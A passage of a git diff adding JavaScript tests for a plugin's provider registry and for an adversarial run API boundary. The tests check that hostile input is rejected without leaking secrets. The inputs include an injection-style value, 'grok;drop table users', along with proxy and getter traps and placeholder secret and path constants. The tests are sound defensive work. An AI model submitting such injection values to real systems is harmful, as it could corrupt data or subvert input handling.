['live_progress'] }); + assert.equal(observed.disposition, 'in_progress'); + assertIdentityEcho(observed, DSH_FIXTURE, 'dsh reconcile'); + const cancelled = lane.cancel(); + assert.equal(cancelled.disposition, 'cancel_confirmed'); +}); + +test('the composed Cursor Cloud driver never authorizes merge or PR work', () => { + const transport = createScriptedCursorCloudTransportV1(); + const driver = composeProviderDriverV1('cursor-cloud', { transport }); + const preflight = driver.preflight(requestFor(CLOUD_FIXTURE, 'preflight')); + assert.equal(preflight.disposition, 'ready'); + assertIdentityEcho(preflight, CLOUD_FIXTURE, 'cursor-cloud preflight'); + const launch = driver.launch(requestFor(CLOUD_FIXTURE, 'launch')); + assert.equal(launch.disposition, 'dispatched'); + assertIdentityEcho(launch, CLOUD_FIXTURE, 'cursor-cloud launch'); + const observed = driver.reconcile( + requestFor(CLOUD_FIXTURE, 'reconcile', { include: ['live_progress'] })); + assert.equal(observed.disposition, 'in_progress'); + const cancelled = driver.cancel(requestFor(CLOUD_FIXTURE, 'cancel')); + assert.equal(cancelled.disposition, 'cancel_confirmed'); +}); + +test('four accepted lanes coexist without cross-talk through the registry', () => { + const grok = composeProviderDriverV1('grok', { transport: createScriptedGrokAcpTransportV1() }); + const cloudTransport = createScriptedCursorCloudTransportV1(); + const cloud = composeProviderDriverV1('cursor-cloud', { transport: cloudTransport }); + const localStub = createCursorLocalTransportStub('happy'); + const local = composeProviderDriverV1('cursor-local', { + declaration: cursorLocalDeclaration(), + model: LOCAL_FIXTURE.model, + run_base_sha: LOCAL_FIXTURE.base_sha, + transport: localStub.transport, + }); + const dshFacade = composeProviderDriverV1('dsh', { + transport: fakeDshTransport().port, + workspace_mode: 'managed', + }); + // Dispatch each lane; each stays bound to its own exact child identity. + assert.equal(grok.preflight(requestFor(GROK_FIXTURE, 'preflight')).disposition, 'ready'); + assert.equal(cloud.preflight(requestFor(CLOUD_FIXTURE, 'preflight')).disposition, 'ready'); + assert.equal(local.driver.preflight(requestFor(LOCAL_FIXTURE, 'preflight')).disposition, + 'ready'); + assert.equal( + dshFacade.driver.preflight({ + schema: 'codex-co-engineer.driver-preflight.v1', + version: 1, + envelope_text: DSH_FIXTURE.envelope_text, + child_envelope_digest: DSH_FIXTURE.child_envelope_digest, + }).disposition, 'ready'); + // Cross-provider digests are stale everywhere else. + assert.notEqual(GROK_FIXTURE.child_envelope_digest, CLOUD_FIXTURE.child_envelope_digest); + assert.notEqual(GROK_FIXTURE.child_envelope_digest, LOCAL_FIXTURE.child_envelope_digest); + assert.notEqual(DSH_FIXTURE.child_envelope_digest, LOCAL_FIXTURE.child_envelope_digest); + assert.equal(localStub.state.spawnCalls, 0, 'no provider spawns during preflight phase'); +}); + +test('inventory surfaces stay byte-faithful to every accepted adapter description', () => { + const entries = describeProviderRegistryV1().entries; + assert.deepEqual(entries.grok.adapter_surface, describeGrokAcpAdapterSurfaceV1()); + assert.deepEqual(entries['cursor-local'].adapter_surface, describeCursorLocalDriverV1()); + assert.deepEqual(entries['cursor-cloud'].adapter_surface, describeCursorCloudDriverV1()); + assert.deepEqual(entries.dsh.adapter_surface, describeDshApxDriverV1()); +}); + +test('the P22 kit still passes against the inert template as evidence only', () => { + const packed = futureHarnessTemplateOptionsV1('dsh'); + const driver = createFutureHarnessDriverTemplateV1(packed.options); + const report = runFutureHarnessConformanceKitV1(driver, { + label: 'registry-inventory-template-dsh', + declaration: packed.options.declaration, + fixture: packed.fixture, + expect: { launch_disposition: 'not_sent' }, + }); + assert.equal(report.ok, true); + assert.equal(report.live_transport_qualification, false, + 'the registered P22 surface proves contract evidence, never a live route'); + + // The registry inventory is the only composition authority: exactly four + // slots, one accepted adapter each, selection rule pinned. + const description = describeProviderRegistryV1(); + assert.equal(PROVIDER_REGISTRY_SLOTS.length, 4); + assert.equal(description.selection_rule, REGISTRY_SELECTION_RULE); + assert.deepEqual([...description.slots], [...PROVIDER_REGISTRY_SLOTS]); + for (const slot of description.slots) { + const entry = description.entries[slot]; + assert.equal(entry.provider, slot); + assert.ok(entry.adapter_surface.live_qualification === false + || entry.adapter_surface.claims?.live_transport_qualification === false + || entry.adapter_surface.transport_mode !== undefined, slot); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-provider-registry.test.mjs b/plugins/codex-co-engineer/test/r1-provider-registry.test.mjs new file mode 100644 index 0000000..9ea19e2 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-provider-registry.test.mjs @@ -0,0 +1,403 @@ +// P23 provider registry — focused coverage of the closed deterministic +// composition authority: slot vocabulary, drift-free inventory, exact +// accepted factory identity, selection mapping, and per-slot composition +// through the one accepted adapter factory. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + CURSOR_CLOUD_PROVIDER_SLOT, + bindCursorCloudDriverV1, + describeCursorCloudDriverV1, + inspectCursorCloudLaneEvidenceV1, +} from '../mcp/v3/cursor-cloud-driver.mjs'; +import { + CURSOR_LOCAL_PROVIDER, + createCursorLocalDriverV1, + describeCursorLocalDriverV1, +} from '../mcp/v3/cursor-local-driver.mjs'; +import { + DSH_ALLOWED_MODELS, + DSH_PROVIDER, + createDshApxDriverV1, + describeDshApxDriverV1, +} from '../mcp/v3/dsh-acpx-driver.mjs'; +import { + GROK_PROVIDER_SLOT, + bindGrokAcpDriverV1, + describeGrokAcpAdapterSurfaceV1, + inspectGrokAcpLaneEvidenceV1, +} from '../mcp/v3/grok-acp-driver.mjs'; +import { knownProvidersJoined, knownProvidersList, modelIdGrammarSource } from '../mcp/v3/grammar.mjs'; +import { + PROVIDER_REGISTRY_SCHEMA_ID, + PROVIDER_REGISTRY_SLOTS, + REGISTRY_SELECTION_RULE, + composeProviderDriverV1, + describeProviderRegistryV1, + isRegistrySlotV1, + registryComposeFunctionV1, + registryEntryV1, + registrySlotsV1, + requireRegistrySlotV1, + resolveRegistrySelectionV1, +} from '../mcp/v3/provider-registry.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + buildCursorLocalFixtureV1, + createCursorLocalTransportStub, + cursorLocalDeclaration, +} from './fixtures/r1-cursor-local-transport.mjs'; +import { dispatchLane, dshEnvelope, fakeDshTransport } from './fixtures/r1-dsh-acpx-fixtures.mjs'; +import { + buildGrokDriverFixtureV1, + createScriptedGrokAcpTransportV1, + grokAcpCallsOf, +} from './fixtures/r1-grok-acp-transport.mjs'; +import { + buildCursorCloudDriverFixtureV1, + createScriptedCursorCloudTransportV1, + cursorCloudCallsOf, +} from './fixtures/r1-cursor-cloud-driver-fixtures.mjs'; + +const GROK_FIXTURE = buildGrokDriverFixtureV1(); +const CLOUD_FIXTURE = buildCursorCloudDriverFixtureV1(); +const LOCAL_FIXTURE = buildCursorLocalFixtureV1(); +const DSH_FIXTURE = dshEnvelope('stealth/ox-alpha'); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error + && (code === undefined || error.code === code), message); +} + +function grokRequest(operation, extras = {}) { + return { + schema: `codex-co-engineer.driver-${operation}.v1`, + version: 1, + envelope_text: GROK_FIXTURE.envelope_text, + child_envelope_digest: GROK_FIXTURE.child_envelope_digest, + ...extras, + }; +} + +function cloudRequest(operation, extras = {}) { + return { + schema: `codex-co-engineer.driver-${operation}.v1`, + version: 1, + envelope_text: CLOUD_FIXTURE.envelope_text, + child_envelope_digest: CLOUD_FIXTURE.child_envelope_digest, + ...extras, + }; +} + +test('the registry registers exactly the four accepted slots in frozen grammar order', () => { + assert.deepEqual([...PROVIDER_REGISTRY_SLOTS], ['grok', 'cursor-local', 'cursor-cloud', 'dsh']); + assert.deepEqual([...PROVIDER_REGISTRY_SLOTS], [...knownProvidersList()]); + assert.deepEqual([...registrySlotsV1()], [...knownProvidersList()]); + assert.ok(Object.isFrozen(PROVIDER_REGISTRY_SLOTS)); + for (const slot of PROVIDER_REGISTRY_SLOTS) { + assert.equal(isRegistrySlotV1(slot), true, slot); + assert.equal(requireRegistrySlotV1(slot), slot); + } + const description = describeProviderRegistryV1(); + assert.equal(description.schema, PROVIDER_REGISTRY_SCHEMA_ID); + assert.equal(description.version, 1); + assert.equal(description.selection_rule, REGISTRY_SELECTION_RULE); + assert.equal(description.deterministic_selection, true); + assert.deepEqual([...description.slots], ['grok', 'cursor-local', 'cursor-cloud', 'dsh']); +}); + +test('inventory entries quote the accepted adapter surfaces without drift', () => { + const expectedSurfaces = new Map([ + ['grok', describeGrokAcpAdapterSurfaceV1()], + ['cursor-local', describeCursorLocalDriverV1()], + ['cursor-cloud', describeCursorCloudDriverV1()], + ['dsh', describeDshApxDriverV1()], + ]); + const expectedSchemaIds = new Map([ + ['grok', 'codex-co-engineer.grok-acp-driver.v1'], + ['cursor-local', 'codex-co-engineer.cursor-local-driver.v1'], + ['cursor-cloud', 'codex-co-engineer.cursor-cloud-driver.v1'], + ['dsh', 'codex-co-engineer.dsh-acpx-driver.v1'], + ]); + const expectedComposeNames = new Map([ + ['grok', 'bindGrokAcpDriverV1'], + ['cursor-local', 'createCursorLocalDriverV1'], + ['cursor-cloud', 'bindCursorCloudDriverV1'], + ['dsh', 'createDshApxDriverV1'], + ]); + for (const slot of PROVIDER_REGISTRY_SLOTS) { + const entry = registryEntryV1(slot); + assert.equal(entry.schema, PROVIDER_REGISTRY_SCHEMA_ID); + assert.equal(entry.provider, slot); + assert.equal(entry.adapter_schema_id, expectedSchemaIds.get(slot)); + assert.equal(entry.compose_function_name, expectedComposeNames.get(slot)); + assert.deepEqual(entry.adapter_surface, expectedSurfaces.get(slot)); + assert.ok(Object.isFrozen(entry)); + assert.ok(Object.isFrozen(entry.adapter_surface)); + assert.ok(Object.isFrozen(entry.option_contract)); + } + assert.equal(registryEntryV1('grok').option_contract.mode, 'transport_property'); + assert.equal(registryEntryV1('cursor-cloud').option_contract.mode, 'transport_property'); + assert.equal(registryEntryV1('cursor-local').option_contract.mode, 'options_bag'); + assert.equal(registryEntryV1('dsh').option_contract.mode, 'options_bag'); + assert.deepEqual( + [...registryEntryV1('grok').option_contract.registry_required_keys], ['transport']); + assert.deepEqual( + [...registryEntryV1('cursor-cloud').option_contract.registry_required_keys], ['transport']); + assert.deepEqual( + [...registryEntryV1('cursor-local').option_contract.registry_required_keys], []); + assert.deepEqual([...registryEntryV1('dsh').option_contract.registry_required_keys], []); +}); + +test('model vocabularies stay owned by the accepted adapters and never widen', () => { + assert.equal(registryEntryV1('dsh').models.rule, 'closed_list'); + assert.deepEqual([...registryEntryV1('dsh').models.values], [...DSH_ALLOWED_MODELS]); + for (const slot of ['grok', 'cursor-cloud']) { + assert.equal(registryEntryV1(slot).models.rule, 'adapter_model_grammar'); + assert.equal(registryEntryV1(slot).models.grammar_source, modelIdGrammarSource()); + } + assert.equal(registryEntryV1('cursor-local').models.rule, 'adapter_model_grammar'); + assert.equal(registryEntryV1('cursor-local').models.grammar_source, '^[A-Za-z0-9][A-Za-z0-9._/-]{0,127}$'); +}); + +test('descriptions are deterministic, deeply frozen, and detached from callers', () => { + const first = describeProviderRegistryV1(); + const second = describeProviderRegistryV1(); + assert.deepEqual(first, second); + assert.ok(Object.isFrozen(first)); + assert.ok(Object.isFrozen(first.entries)); + assert.equal(Object.getPrototypeOf(first.entries), null); + for (const slot of first.slots) { + assert.ok(Object.isFrozen(first.entries[slot])); + assert.ok(Object.isFrozen(first.entries[slot].models)); + } + assert.ok(Object.isFrozen(first.future_harness)); + assert.ok(Object.isFrozen(first.nonclaims)); + // Mutating a returned slots copy cannot reach registry authority. + const slots = registrySlotsV1(); + assert.throws(() => slots.push('future-harness'), TypeError); + assert.deepEqual([...describeProviderRegistryV1().slots], [...first.slots]); +}); + +test('the P22 future harness stays conformance evidence and never a fifth slot', () => { + const description = describeProviderRegistryV1(); + assert.equal(isRegistrySlotV1('future-harness'), false); + assert.equal(description.future_harness.surface, 'conformance_evidence'); + assert.equal(description.future_harness.provider_slot, null); + assert.equal(description.future_harness.composable, false); + assert.equal(description.future_harness.live_transport_qualification, false); + assert.equal(description.future_harness.template_schema_id, + 'codex-co-engineer.future-harness-template.v1'); + assert.equal(description.future_harness.conformance_schema_id, + 'codex-co-engineer.future-harness-conformance.v1'); +}); + +test('every nonclaim is explicit and false', () => { + const nonclaims = describeProviderRegistryV1().nonclaims; + for (const key of Object.keys(nonclaims)) { + assert.equal(nonclaims[key], false, key); + } + for (const key of [ + 'ambient_discovery', 'fallback', 'replay', 'provider_substitution', 'fifth_provider', + 'supervisor_cutover', 'live_transport_qualification', 'dynamic_import', + ]) { + assert.ok(Object.hasOwn(nonclaims, key), key); + } +}); + +test('slot gating fails closed and content-free on near misses', () => { + for (const hostile of [ + '', ' ', 'cursor', 'cursors-local', 'cursor-LocaL', 'grok ', ' grok', 'dshx', 'GROK', + 'Dsh', 'cursor_cloud', 'future-harness', 'template', 'provider/registry', + 'grok;drop table users', 'grok\n', String.fromCharCode(0x0047, 0x0072, 0x066F, 0x06B8), + 'x'.repeat(4096), + ]) { + expectCode(() => requireRegistrySlotV1(hostile), 'unknown_provider', hostile); + assert.equal(isRegistrySlotV1(hostile), false); + try { + requireRegistrySlotV1(hostile); + assert.fail('expected typed denial'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + assert.equal(error.code, 'unknown_provider'); + // Hostile values stay out of the error surface unless they are a + // substring of the fixed closed-vocabulary listing itself. + const fixed = `provider_registry.provider must be an exact registered provider slot: ${knownProvidersJoined()}.`; + if (!fixed.includes(hostile)) { + assert.ok(!error.message.includes(hostile), 'hostile value must not leak'); + } + assert.equal(error.path, 'provider_registry.provider'); + } + } +}); + +test('non-string providers fail closed before any option byte is read', () => { + let getterRuns = 0; + const getterBomb = {}; + Object.defineProperty(getterBomb, 'transport', { + enumerable: true, + get() { + getterRuns += 1; + return {}; + }, + }); + for (const hostile of [123, null, undefined, true, Symbol('s'), 10n, + { transport: {} }, ['grok'], () => {}, getterBomb]) { + expectCode(() => composeProviderDriverV1(hostile, getterBomb), 'unknown_provider'); + } + assert.equal(getterRuns, 0, 'registry gating never runs caller code'); +}); + +test('registryComposeFunctionV1 exposes exactly the accepted factories', () => { + assert.equal(registryComposeFunctionV1('grok'), bindGrokAcpDriverV1); + assert.equal(registryComposeFunctionV1('cursor-local'), createCursorLocalDriverV1); + assert.equal(registryComposeFunctionV1('cursor-cloud'), bindCursorCloudDriverV1); + assert.equal(registryComposeFunctionV1('dsh'), createDshApxDriverV1); + for (const hostile of ['future-harness', 'toString', '__proto__', 'constructor']) { + expectCode(() => registryComposeFunctionV1(hostile), 'unknown_provider'); + expectCode(() => registryEntryV1(hostile), 'unknown_provider'); + } +}); + +test('resolveRegistrySelectionV1 maps exact pairs deterministically without constructing', () => { + const plan = resolveRegistrySelectionV1({ provider: 'dsh', model: 'stealth/ox-alpha' }); + assert.equal(plan.schema, 'codex-co-engineer.registry-selection.v1'); + assert.equal(plan.provider, 'dsh'); + assert.equal(plan.model, 'stealth/ox-alpha'); + assert.equal(plan.selection_rule, REGISTRY_SELECTION_RULE); + assert.equal(plan.deterministic, true); + assert.equal(plan.adapter_schema_id, 'codex-co-engineer.dsh-acpx-driver.v1'); + assert.equal(plan.compose_function_name, 'createDshApxDriverV1'); + assert.equal(plan.model_rule, 'closed_list'); + assert.ok(Object.isFrozen(plan)); + assert.deepEqual(resolveRegistrySelectionV1({ provider: 'dsh', model: 'stealth/ox-alpha' }), plan); + + const grammarPlan = resolveRegistrySelectionV1({ + provider: 'cursor-local', model: LOCAL_FIXTURE.model, + }); + assert.equal(grammarPlan.model_rule, 'adapter_model_grammar'); + assert.equal(grammarPlan.compose_function_name, 'createCursorLocalDriverV1'); + + expectCode(() => resolveRegistrySelectionV1({ + provider: 'dsh', model: 'not-a-dsh-model', + }), 'unknown_model', 'closed dsh model list is enforced against the accepted constant'); + expectCode(() => resolveRegistrySelectionV1({ + provider: 'dsh', model: 'muse-spark-1.2-contributor ', + }), 'unknown_model'); + expectCode(() => resolveRegistrySelectionV1({ provider: 'dsh' }), 'missing_key'); + expectCode(() => resolveRegistrySelectionV1({ model: 'm' }), 'missing_key'); + expectCode(() => resolveRegistrySelectionV1({ provider: 'dsh', model: 'm', extra: 1 }), + 'unknown_key'); + expectCode(() => resolveRegistrySelectionV1({ provider: 'dsh', model: 5 }), 'invalid_model'); +}); + +test('composition drives the accepted Grok lane end to end behind the registry', () => { + const transport = createScriptedGrokAcpTransportV1(); + const driver = composeProviderDriverV1('grok', { transport }); + const preflight = driver.preflight(grokRequest('preflight')); + assert.equal(preflight.disposition, 'ready'); + const launch = driver.launch(grokRequest('launch')); + assert.equal(launch.disposition, 'dispatched'); + assert.equal(launch.run_id, GROK_FIXTURE.run_id); + assert.equal(launch.assignment_id, GROK_FIXTURE.assignment_id); + assert.equal(launch.lane_index, GROK_FIXTURE.lane_index); + assert.equal(launch.base_sha, GROK_FIXTURE.base_sha); + assert.equal(launch.child_envelope_digest, GROK_FIXTURE.child_envelope_digest); + const observe = driver.reconcile(grokRequest('reconcile')); + assert.equal(observe.disposition, 'terminal'); + const cancel = driver.cancel(grokRequest('cancel')); + assert.equal(cancel.disposition, 'already_terminal'); + assert.equal(grokAcpCallsOf(transport, 'spawn').length, 1); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); + assert.equal(grokAcpCallsOf(transport, 'cancel').length, 0, + 'terminal cancel absorbs without touching the transport'); + // No wrapper layer: accepted evidence inspection works on the composed object. + const evidence = inspectGrokAcpLaneEvidenceV1(driver, { + run_id: GROK_FIXTURE.run_id, + assignment_id: GROK_FIXTURE.assignment_id, + child_envelope_digest: GROK_FIXTURE.child_envelope_digest, + }); + assert.equal(evidence.child_envelope_digest, GROK_FIXTURE.child_envelope_digest); +}); + +test('composition drives the accepted Cursor Cloud lane end to end behind the registry', () => { + const transport = createScriptedCursorCloudTransportV1(); + const driver = composeProviderDriverV1('cursor-cloud', { transport }); + assert.equal(driver.preflight(cloudRequest('preflight')).disposition, 'ready'); + const launch = driver.launch(cloudRequest('launch')); + assert.equal(launch.disposition, 'dispatched'); + assert.equal(launch.run_id, CLOUD_FIXTURE.run_id); + assert.equal(launch.child_envelope_digest, CLOUD_FIXTURE.child_envelope_digest); + const observed = driver.reconcile(cloudRequest('reconcile')); + assert.equal(observed.disposition, 'in_progress'); + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: CLOUD_FIXTURE.run_id, + assignment_id: CLOUD_FIXTURE.assignment_id, + child_envelope_digest: CLOUD_FIXTURE.child_envelope_digest, + }); + assert.equal(evidence.status, 'running'); + assert.equal(cursorCloudCallsOf(transport, 'create').length, 1); + assert.equal(cursorCloudCallsOf(transport, 'send').length, 1); +}); + +test('composition builds the accepted DSH facade and its honest uncertain posture', () => { + const facade = composeProviderDriverV1('dsh', { + transport: fakeDshTransport().port, + workspace_mode: 'managed', + }); + assert.equal(facade.provider, DSH_PROVIDER); + assert.equal(facade.workspace_mode, 'managed'); + const lane = dispatchLane(facade.driver, DSH_FIXTURE); + assert.equal(lane.preflight.disposition, 'ready'); + assert.equal(lane.launch.disposition, 'dispatch_uncertain'); + assert.equal(lane.reconcile().disposition, 'in_progress'); +}); + +test('composition builds the accepted Cursor Local facade behind the registry', () => { + const stub = createCursorLocalTransportStub('happy'); + const facade = composeProviderDriverV1('cursor-local', { + declaration: cursorLocalDeclaration(), + model: LOCAL_FIXTURE.model, + run_base_sha: LOCAL_FIXTURE.base_sha, + transport: stub.transport, + }); + assert.equal(facade.provider, CURSOR_LOCAL_PROVIDER); + const request = (operation) => ({ + schema: `codex-co-engineer.driver-${operation}.v1`, + version: 1, + envelope_text: LOCAL_FIXTURE.envelope_text, + child_envelope_digest: LOCAL_FIXTURE.child_envelope_digest, + }); + assert.equal(facade.driver.preflight(request('preflight')).disposition, 'ready'); + assert.equal(facade.driver.launch(request('launch')).disposition, 'dispatched'); + assert.equal(stub.state.spawnCalls, 1); + assert.equal(stub.state.sends, 1); +}); + +test('compositions are independent and never share lanes or state', () => { + const first = composeProviderDriverV1('grok', { transport: createScriptedGrokAcpTransportV1() }); + const second = composeProviderDriverV1('grok', { transport: createScriptedGrokAcpTransportV1() }); + assert.notEqual(first, second); + assert.equal(second.preflight(grokRequest('preflight')).disposition, 'ready', + 'a fresh composition starts from its own absent state'); + first.preflight(grokRequest('preflight')); + first.launch(grokRequest('launch')); + // The second lane was never touched by the first lane's lifecycle. + expectCode(() => second.reconcile(grokRequest('reconcile')), 'not_dispatched'); +}); + +test('accepted adapter failures pass through unwrapped with no substitution', () => { + expectCode(() => composeProviderDriverV1('dsh', { + transport: fakeDshTransport().port, + workspace_mode: 'direct', + }), 'direct_mode_rejected', + 'the adapter\'s own typed denial surfaces unchanged; no other provider is tried'); + expectCode(() => composeProviderDriverV1('cursor-local', { + declaration: cursorLocalDeclaration({ provider: 'grok' }), + model: LOCAL_FIXTURE.model, + run_base_sha: LOCAL_FIXTURE.base_sha, + transport: createCursorLocalTransportStub('happy').transport, + }), 'provider_mismatch'); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-api-boundary-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-api-boundary-adversarial.test.mjs new file mode 100644 index 0000000..3e6dbcf --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-api-boundary-adversarial.test.mjs @@ -0,0 +1,411 @@ +// P32 run API boundary — adversarial coverage: forged schema/version/status, +// unknown keys, Proxy/getter/exotic prototype/cycle, post-validation mutation, +// oversized collections, hostile toJSON/inspection/error text, secret and +// path-shaped values, and static/dynamic no-I/O proof. Projection never +// executes P30 audit, P31 lifecycle, Git, fs, process, network, or credentials. + +import assert from 'node:assert/strict'; +import childProcess from 'node:child_process'; +import fs, { readFileSync } from 'node:fs'; +import http from 'node:http'; +import net from 'node:net'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; +import { inspect, types as utilTypes } from 'node:util'; + +import { MAX_AUDIT_REFS } from '../mcp/v3/protected-ref-audit.mjs'; +import { + MAX_API_COLLECTION, + MAX_API_KEY_BYTES, + MAX_API_OBJECT_KEYS, + projectRunApiBoundaryV1, +} from '../mcp/v3/run-api-boundary.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + CONTENT_FREE, + HOSTILE_ENV, + HOSTILE_GIT, + HOSTILE_PATH, + HOSTILE_SECRET, + HOSTILE_TOKEN, + HOSTILE_URL, + countingProxy, + failedAudit, + orchestrationDenial, + orchestrationSideEffects, + trapTotal, + validAudit, + validComparison, + validInput, + validLifecycle, + validOrchestration, + verifiedDriftAudit, +} from './fixtures/r1-run-api-boundary-fixtures.mjs'; + +const ADAPTER_SOURCE = readFileSync( + fileURLToPath(new URL('../mcp/v3/run-api-boundary.mjs', import.meta.url)), + 'utf8', +); + +function errorOf(action) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(utilTypes.isProxy(error), false); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +function assertPublicFailure(error, extras = []) { + assert.ok(error instanceof RunContractV1Error); + assertContentFree(error, extras); + assertContentFree(error.path, extras); + assertContentFree(error.message, extras); + assertContentFree(inspect({ + name: error.name, code: error.code, path: error.path, message: error.message, + }, { depth: 4, getters: true }), extras); + assert.equal(String(error.message).includes('TypeError'), false); + assert.ok(Buffer.byteLength(error.message, 'utf8') <= 200); +} + +function assertContentFree(value, extras = []) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + assert.equal(text.includes('/tmp'), false); + assert.equal(text.includes('https://'), false); + assert.equal(text.includes('git@'), false); + assert.equal(text.includes(HOSTILE_PATH), false); + assert.equal(text.includes(HOSTILE_URL), false); + assert.equal(text.includes(HOSTILE_GIT), false); + assert.equal(text.includes(HOSTILE_SECRET), false); + assert.equal(text.includes(HOSTILE_TOKEN), false); + assert.equal(text.includes(HOSTILE_ENV), false); + for (const extra of extras) { + if (typeof extra === 'string' && extra.length > 0 && extra.length < 500) { + assert.equal(text.includes(extra), false, `leaked ${JSON.stringify(extra)}`); + } + } + if (typeof value === 'string' && value.length <= 200 && !value.includes('\n') && !value.startsWith('{')) { + assert.match(value, CONTENT_FREE); + } + if (typeof value === 'object' && value && typeof value.message === 'string') { + assert.match(value.message, CONTENT_FREE); + } +} + +function assertRejected(action, extras = []) { + const error = errorOf(action); + assertPublicFailure(error, extras); + return error; +} + +test('forged schema version and status fail closed without leaking caller bytes', () => { + const schema = assertRejected(() => projectRunApiBoundaryV1(validInput({ + schema: 'codex-co-engineer.run-orchestration.v1', + }))); + assert.equal(schema.code, 'invalid_format'); + + const version = assertRejected(() => projectRunApiBoundaryV1(validInput({ version: 2 }))); + assert.equal(version.code, 'invalid_format'); + + const auditSchema = assertRejected(() => projectRunApiBoundaryV1(validInput({ + audit: validAudit({ schema: 'codex-co-engineer.git-authority.v1' }), + }))); + assert.equal(auditSchema.code, 'invalid_format'); + + const auditStatus = assertRejected(() => projectRunApiBoundaryV1(validInput({ + audit: validAudit({ status: 'ready' }), + }))); + assert.equal(auditStatus.code, 'invalid_format'); + + const orchestrationStatus = assertRejected(() => projectRunApiBoundaryV1(validInput({ + orchestration: validOrchestration({ status: 'verified' }), + }))); + assert.equal(orchestrationStatus.code, 'invalid_format'); +}); + +test('missing duplicate alias and unknown keys fail closed', () => { + const missing = validInput(); + delete missing.audit; + assert.equal(assertRejected(() => projectRunApiBoundaryV1(missing)).code, 'missing_key'); + + const unknown = validInput(); + unknown.extra = true; + assert.equal(assertRejected(() => projectRunApiBoundaryV1(unknown)).code, 'unknown_key'); + + const auditUnknown = validInput(); + auditUnknown.audit = validAudit({ ref: 'refs/heads/main' }); + assert.equal(assertRejected(() => projectRunApiBoundaryV1(auditUnknown)).code, 'unknown_key'); + + const duplicateLane = validInput({ + orchestration: validOrchestration({ + lanes: [ + { ...validInput().orchestration.lanes[0] }, + { ...validInput().orchestration.lanes[0], identity: 'aa'.repeat(16) }, + ], + }), + }); + assert.equal(assertRejected(() => projectRunApiBoundaryV1(duplicateLane)).code, 'invalid_format'); + + const aliased = validInput(); + aliased.audit.facts = aliased.orchestration.lanes; + assert.equal(assertRejected(() => projectRunApiBoundaryV1(aliased)).code, 'aliased_reference_denied'); +}); + +test('proxy accessor symbol exotic prototype and cycles fail closed without running traps', () => { + const { proxy, counts } = countingProxy(validInput()); + assert.equal(assertRejected(() => projectRunApiBoundaryV1(proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const accessor = validInput(); + Object.defineProperty(accessor, 'audit', { + get() { throw new Error(`accessor ran ${HOSTILE_SECRET}`); }, + enumerable: true, + }); + const accessorError = assertRejected(() => projectRunApiBoundaryV1(accessor), [HOSTILE_SECRET]); + assert.ok(['accessor_property_denied', 'invalid_type'].includes(accessorError.code), accessorError.code); + + const symbolKeyed = validInput(); + symbolKeyed[Symbol('secret')] = HOSTILE_TOKEN; + assert.equal(assertRejected(() => projectRunApiBoundaryV1(symbolKeyed), [HOSTILE_TOKEN]).code, 'symbol_key_denied'); + + const exotic = validInput(); + Object.setPrototypeOf(exotic, { toJSON() { return HOSTILE_SECRET; } }); + assert.equal(assertRejected(() => projectRunApiBoundaryV1(exotic), [HOSTILE_SECRET]).code, 'exotic_prototype_denied'); + + const cyclic = validInput(); + cyclic.audit.comparisons.push(cyclic.audit.comparisons[0]); + assert.equal(assertRejected(() => projectRunApiBoundaryV1(cyclic)).code, 'aliased_reference_denied'); +}); + +test('post-validation mutation of input cannot change a frozen result', () => { + const input = validInput(); + const result = projectRunApiBoundaryV1(input); + input.audit = failedAudit('moved_ref'); + input.orchestration = orchestrationDenial('host_cpu_capacity_exceeded'); + input.identity.provider = 'dsh'; + assert.equal(result.status, 'ready'); + assert.equal(result.audit.status, 'verified'); + assert.equal(result.provider, 'grok'); + assert.throws(() => { result.invariants.remote_mutated = true; }); + assert.throws(() => { result.side_effects.gate_a_claimed = true; }); +}); + +test('oversized collections and strings fail closed without echoing attacker bytes', () => { + const huge = 'a'.repeat(1024); + const hugeRun = assertRejected( + () => projectRunApiBoundaryV1(validInput({ identity: { run_id: huge } })), + [huge], + ); + assert.ok(['bounds_exceeded', 'invalid_format'].includes(hugeRun.code), hugeRun.code); + + const comparisons = []; + for (let i = 0; i < MAX_AUDIT_REFS + 1; i += 1) comparisons.push(validComparison()); + const oversized = assertRejected(() => projectRunApiBoundaryV1(validInput({ + audit: validAudit({ + comparisons, + observation: { + command_count: 2, + compared_count: comparisons.length, + duration_ms: 1, + loose_count: comparisons.length, + missing_count: 0, + packed_count: 0, + symbolic_count: 0, + }, + }), + }))); + assert.equal(oversized.code, 'bounds_exceeded'); + assert.ok(MAX_API_COLLECTION >= 1); + assert.ok(MAX_API_OBJECT_KEYS >= 8); + assert.ok(MAX_API_KEY_BYTES >= 8); + + const pathBomb = `${HOSTILE_PATH}/${'x'.repeat(5000)}`; + const dropped = validInput(); + dropped.orchestration.preflight.repository.path = pathBomb; + const pathError = assertRejected(() => projectRunApiBoundaryV1(dropped), [pathBomb, HOSTILE_PATH]); + assert.equal(pathError.code, 'bounds_exceeded'); +}); + +test('hostile toJSON inspection and error text never leak secrets or paths', () => { + const poisoned = validInput(); + poisoned.toJSON = () => ({ secret: HOSTILE_SECRET, url: HOSTILE_URL }); + const toJsonError = assertRejected( + () => projectRunApiBoundaryV1(poisoned), + [HOSTILE_SECRET, HOSTILE_URL], + ); + assert.ok(['unknown_key', 'invalid_type'].includes(toJsonError.code), toJsonError.code); + + const result = projectRunApiBoundaryV1(validInput()); + const inspected = inspect(result, { depth: 8, getters: true, showHidden: true }); + assertContentFree(inspected); + assertContentFree(JSON.stringify(result)); + + const denial = assertRejected(() => projectRunApiBoundaryV1(validInput({ + identity: { run_id: HOSTILE_URL }, + })), 